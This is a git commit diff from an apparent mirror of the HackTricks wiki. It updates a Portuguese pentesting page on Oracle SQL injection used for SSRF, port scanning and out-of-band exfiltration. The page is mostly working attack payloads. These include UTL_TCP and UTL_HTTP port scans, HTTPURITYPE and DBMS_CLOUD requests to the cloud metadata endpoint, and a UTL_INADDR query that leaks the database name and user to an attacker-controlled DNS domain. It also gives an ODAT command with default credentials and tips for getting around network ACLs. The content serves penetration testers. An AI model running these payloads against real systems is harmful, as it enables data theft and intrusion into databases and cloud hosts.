mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to p
This commit is contained in:
parent
71b763730d
commit
7211d1b297
@ -1,4 +1,4 @@
|
|||||||
# Injeção Oracle
|
# Oracle injection
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -6,21 +6,21 @@
|
|||||||
|
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
Usar o Oracle para fazer requisições HTTP e DNS fora de banda está bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outras SSRF/XSPA.
|
Usar o Oracle para fazer requisições HTTP e DNS fora de banda está bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
|
||||||
|
|
||||||
Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rápida para testar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me apontou para [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina Ubuntu t2.large da AWS e Docker.
|
Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rápida para testar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me apontou para [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina Ubuntu t2.large da AWS com Docker.
|
||||||
|
|
||||||
Eu executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
|
Eu executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
|
||||||
```
|
```
|
||||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||||
```
|
```
|
||||||
#### Pacotes Oracle que suportam uma especificação de URL ou de Nome de Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
#### Pacotes Oracle que suportam uma especificação de URL ou de Nome do Host/Número da Porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||||
|
|
||||||
Para encontrar pacotes e funções que suportam uma especificação de host e porta, fiz uma pesquisa no [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Especificamente,
|
Para encontrar pacotes e funções que suportam uma especificação de host e porta, fiz uma pesquisa no [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Especificamente,
|
||||||
```
|
```
|
||||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||||
```
|
```
|
||||||
A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar rede externa)
|
A busca retornou os seguintes resultados (nem todos podem ser usados para realizar rede externa)
|
||||||
|
|
||||||
- DBMS_NETWORK_ACL_ADMIN
|
- DBMS_NETWORK_ACL_ADMIN
|
||||||
- UTL_SMTP
|
- UTL_SMTP
|
||||||
@ -37,7 +37,7 @@ A pesquisa retornou os seguintes resultados (nem todos podem ser usados para rea
|
|||||||
- DBMS_STREAMS_ADM
|
- DBMS_STREAMS_ADM
|
||||||
- UTL_HTTP
|
- UTL_HTTP
|
||||||
|
|
||||||
Essa pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simplesmente aponta para um [local diferente](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações externas que eu possa ter perdido.
|
Essa busca rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simplesmente aponta para um [local diferente](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser explorados para fazer solicitações externas que eu possa ter perdido.
|
||||||
|
|
||||||
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
|
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
|
||||||
|
|
||||||
@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
|||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||||
```
|
```
|
||||||
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` mostra que a porta está fechada enquanto um valor de sessão aponta para a porta estando aberta.
|
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estando aberta.
|
||||||
|
|
||||||
**UTL_SMTP**
|
**UTL_SMTP**
|
||||||
|
|
||||||
@ -124,7 +124,7 @@ END;
|
|||||||
utl_tcp.close_connection(c);
|
utl_tcp.close_connection(c);
|
||||||
END;
|
END;
|
||||||
```
|
```
|
||||||
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de meta-dados da Instância de todos os provedores de nuvem, uma vez que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
|
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de meta-dados da Instância de todos os provedores de nuvem, uma vez que o tipo de método e os cabeçalhos adicionais podem ser todos passados dentro da solicitação TCP.
|
||||||
|
|
||||||
**UTL_HTTP e Solicitações Web**
|
**UTL_HTTP e Solicitações Web**
|
||||||
|
|
||||||
@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
|||||||
```
|
```
|
||||||
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
|
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
|
||||||
|
|
||||||
Outro pacote que usei no passado com sucesso variado é o [`GETCLOB()` método do tipo abstrato `HTTPURITYPE` do Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que permite interagir com uma URL e fornece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
Outro pacote que usei no passado com sucesso variado é o [`GETCLOB()` método do tipo abstrato `HTTPURITYPE` do Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que permite interagir com uma URL e fornece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
|
||||||
|
```
|
||||||
|
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Pacotes e Técnicas Adicionais (Oracle 19c → 23c)
|
||||||
|
|
||||||
|
### UTL_INADDR – exfiltração baseada em DNS e descoberta de hosts
|
||||||
|
|
||||||
|
`UTL_INADDR` expõe auxiliares simples de resolução de nomes que acionam uma consulta DNS de saída a partir do host do banco de dados. Como apenas um domínio é necessário (sem porta/ACL necessária), é um primitivo confiável para exfiltração cega quando outras chamadas de rede estão bloqueadas.
|
||||||
|
```sql
|
||||||
|
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
|
||||||
|
SELECT UTL_INADDR.get_host_address(
|
||||||
|
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
|
||||||
|
'.attacker.oob.server') FROM dual;
|
||||||
|
```
|
||||||
|
`get_host_address()` retorna o IP resolvido (ou gera `ORA-29257` se a resolução falhar). O atacante só precisa monitorar a solicitação DNS de entrada no domínio controlado para confirmar a execução do código.
|
||||||
|
|
||||||
|
### DBMS_CLOUD.SEND_REQUEST – cliente HTTP completo no Autonomous/23c
|
||||||
|
|
||||||
|
Edições recentes centradas em nuvem (Autonomous Database, 21c/23c, 23ai) vêm com `DBMS_CLOUD`. A função `SEND_REQUEST` atua como um cliente HTTP de uso geral que suporta verbos personalizados, cabeçalhos, TLS e grandes corpos, tornando-se muito mais poderosa do que o clássico `UTL_HTTP`.
|
||||||
|
```sql
|
||||||
|
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
|
||||||
|
BEGIN
|
||||||
|
-- empty credential when no auth is required
|
||||||
|
DBMS_CLOUD.create_credential(
|
||||||
|
credential_name => 'NOAUTH',
|
||||||
|
username => 'ignored',
|
||||||
|
password => 'ignored');
|
||||||
|
END;
|
||||||
|
/
|
||||||
|
|
||||||
|
DECLARE
|
||||||
|
resp DBMS_CLOUD_TYPES.resp;
|
||||||
|
BEGIN
|
||||||
|
resp := DBMS_CLOUD.send_request(
|
||||||
|
credential_name => 'NOAUTH',
|
||||||
|
uri => 'http://169.254.169.254/latest/meta-data/',
|
||||||
|
method => 'GET',
|
||||||
|
timeout => 3);
|
||||||
|
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
|
||||||
|
END;
|
||||||
|
/
|
||||||
|
```
|
||||||
|
Porque `SEND_REQUEST` permite URIs de destino arbitrárias, pode ser abusado via SQLi para:
|
||||||
|
1. Escaneamento de portas internas / SSRF para serviços de metadados em nuvem.
|
||||||
|
2. Exfiltração fora da banda via HTTPS (use Burp Collaborator ou um túnel `ngrok`).
|
||||||
|
3. Chamadas de retorno para servidores do atacante, mesmo quando pacotes de chamada mais antigos estão desativados por ACLs.
|
||||||
|
|
||||||
|
ℹ️ Se você tiver apenas um 19c clássico on-prem, mas puder criar procedimentos armazenados em Java, às vezes você pode instalar `DBMS_CLOUD` do pacote do cliente OCI — útil em alguns engajamentos.
|
||||||
|
|
||||||
|
### Automatizando a superfície de ataque com **ODAT**
|
||||||
|
|
||||||
|
[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) acompanhou as versões modernas (testado até 19c, 5.1.1 – Abr-2022). Os módulos `–utl_http`, `–utl_tcp`, `–httpuritype` e o mais recente `–dbms_cloud` automaticamente:
|
||||||
|
* Detectam pacotes de chamada utilizáveis / concessões de ACL.
|
||||||
|
* Disparam callbacks DNS & HTTP para extração cega.
|
||||||
|
* Geram cargas SQL prontas para copiar para Burp/SQLMap.
|
||||||
|
|
||||||
|
Exemplo: verificação rápida OOB com credenciais padrão (cuida da enumeração de ACL em segundo plano):
|
||||||
|
```bash
|
||||||
|
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
|
||||||
|
```
|
||||||
|
### Restrições e contornos recentes de ACL de rede
|
||||||
|
|
||||||
|
A Oracle apertou as ACLs de rede padrão no CPU de julho de 2023 — contas não privilegiadas agora recebem `ORA-24247: network access denied by access control list` por padrão. Dois padrões ainda permitem chamadas através de SQLi:
|
||||||
|
1. A conta alvo possui uma entrada de ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) que foi adicionada por um desenvolvedor para integrações.
|
||||||
|
2. O atacante abusa de uma rotina de direitos de definidor PL/SQL de alto privilégio (por exemplo, em uma aplicação personalizada) que *já* possui `AUTHID DEFINER` e as concessões necessárias.
|
||||||
|
|
||||||
|
Se você encontrar `ORA-24247` durante a exploração, sempre procure por procedimentos reutilizáveis:
|
||||||
|
```sql
|
||||||
|
SELECT owner, object_name
|
||||||
|
FROM dba_objects
|
||||||
|
WHERE object_type = 'PROCEDURE'
|
||||||
|
AND authid = 'DEFINER';
|
||||||
|
```
|
||||||
|
(em muitas auditorias, pelo menos um procedimento de relatório/exportação tinha os direitos necessários).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* Oracle Docs – descrição e exemplos do pacote `DBMS_CLOUD.SEND_REQUEST`.
|
||||||
|
* quentinhardy/odat – Ferramenta de Ataque ao Banco de Dados Oracle (última versão 5.1.1, Abr-2022).
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user